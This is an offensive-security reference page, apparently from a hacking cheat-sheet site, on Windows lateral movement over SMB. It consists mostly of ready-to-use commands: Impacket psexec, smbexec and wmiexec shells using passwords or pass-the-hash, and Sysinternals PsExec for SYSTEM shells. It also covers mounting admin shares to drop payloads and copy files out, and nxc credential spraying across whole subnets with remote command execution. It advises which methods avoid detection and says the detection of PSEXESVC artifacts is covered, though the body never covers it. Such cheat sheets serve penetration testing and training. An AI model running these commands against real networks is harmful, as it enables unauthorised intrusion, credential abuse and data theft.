# PsExec and SMB Lateral Movement

> Covers PsExec-based lateral movement over SMB, including remote execution techniques, admin share abuse, and detection of suspicious PSEXESVC artifacts.

- **URL:** https://hackindex.io/platforms/windows/lateral-movement/psexec-and-smb-lateral-movement
- **Path:** Windows > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

SMB-based lateral movement is the most common technique in Windows environments. All methods use port 445 and valid credentials or hashes, and work against any host where the account has local admin access. The main approaches covered here:

- Impacket psexec, smbexec, and wmiexec for remote shells from Linux
- Sysinternals PsExec for shell access from a Windows foothold
- Direct SMB share operations for file read, write, and staging
- Credential spraying with nxc to find where credentials are valid across the network

## Impacket psexec

Impacket's psexec creates a service on the remote host, uploads a binary via SMB, and returns an interactive shell as SYSTEM. It is noisy (a new service is created and event logs record it), but it gives you an immediate SYSTEM shell.

**impacket-psexec**

```bash
# With password
impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

# With NTLM hash
impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# Local account
impacket-psexec ./$USER:$PASSWORD@$TARGET_IP

# Execute single command instead of interactive shell
impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -c "whoami"
# C:\Windows\system32>whoami
# nt authority\system
```

## Impacket smbexec and wmiexec

Both are quieter alternatives to psexec. smbexec creates a service but does not write a binary to disk. wmiexec uses WMI to run commands and leaves no service artifacts: it is the preferred method when you want to avoid detection.

**smbexec and wmiexec**

```bash
# smbexec: no binary on disk, creates temporary service
impacket-smbexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# wmiexec: quietest of the three, runs as the user not SYSTEM
impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# wmiexec with specific command
impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP "ipconfig /all"
```

wmiexec runs commands as the authenticated user, not SYSTEM. If you need SYSTEM-level access on the remote host, use psexec. If you only need to run commands or transfer data, wmiexec is preferable because it generates fewer artifacts.

## Sysinternals PsExec

The original PsExec from Sysinternals runs from a Windows foothold. Requires SMB access and admin credentials. Accepts passwords but not hashes directly: use mimikatz pth to inject a hash first, then run PsExec in the spawned process.

**Sysinternals PsExec from Windows**

```powershell
# Interactive shell on remote host
PsExec.exe \\$TARGET_IP -u $DOMAIN\$USER -p $PASSWORD cmd.exe

# Run as SYSTEM on remote host
PsExec.exe \\$TARGET_IP -u $DOMAIN\$USER -p $PASSWORD -s cmd.exe

# Run command without interactive shell
PsExec.exe \\$TARGET_IP -u $DOMAIN\$USER -p $PASSWORD ipconfig /all

# Accept EULA silently
PsExec.exe /accepteula \\$TARGET_IP -u $DOMAIN\$USER -p $PASSWORD cmd.exe
```

## SMB file access and share operations

Direct SMB share access lets you read and write files on remote hosts without needing a shell. Use this to drop payloads, read sensitive files, or stage data for exfiltration.

**SMB file operations from Linux**

```bash
# Interactive SMB shell
impacket-smbclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP
impacket-smbclient $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# List shares
nxc smb $TARGET_IP -u $USER -p $PASSWORD --shares

# Enumerate files on a share
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M spider_plus

# Download a file via smbclient
smbclient //$TARGET_IP/C$ -U $DOMAIN/$USER%$PASSWORD
# smb> get sensitive_file.txt
```

**SMB file operations from Windows**

```powershell
# Mount remote share
net use Z: \\$TARGET_IP\C$ /user:$DOMAIN\$USER $PASSWORD

# List contents
dir Z:\
dir Z:\Users\

# Copy files
copy Z:\Users\Administrator\Desktop\flag.txt C:\Windows\Temp\
copy C:\Windows\Temp\payload.exe Z:\Windows\Temp\

# Unmount
net use Z: /delete
```

## Spraying credentials across multiple hosts

Before moving to a specific target, verify which hosts accept the credentials. nxc makes this fast: it tests the credential against every host in a range and flags where you have admin.

**Credential spray with nxc**

```bash
# Password spray across subnet
nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD

# Hash spray across subnet
nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH

# Local account spray (bypasses domain restrictions)
nxc smb $TARGET_SUBNET/24 -u Administrator -H $NTHASH --local-auth

# Run a command on all hosts where creds are valid
nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD -x "whoami"
```

When you have a local Administrator hash, always try `--local-auth` across the entire subnet first. Many environments reuse the same local Administrator password across workstations, and a single hash can give you access to dozens of hosts. For lateral movement using Kerberos tickets instead of hashes see [Pass-the-Hash and Pass-the-Ticket](https://hackindex.io/platforms/windows/lateral-movement/pass-the-hash-and-pass-the-ticket).

## References

- [Impacket: GitHub](https://github.com/fortra/impacket) - psexec, smbexec, wmiexec, smbclient implementations
- [PsExec: Microsoft Sysinternals](https://learn.microsoft.com/en-us/sysinternals/downloads/psexec) - Official Sysinternals PsExec documentation and download
- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - SMB credential testing and lateral movement automation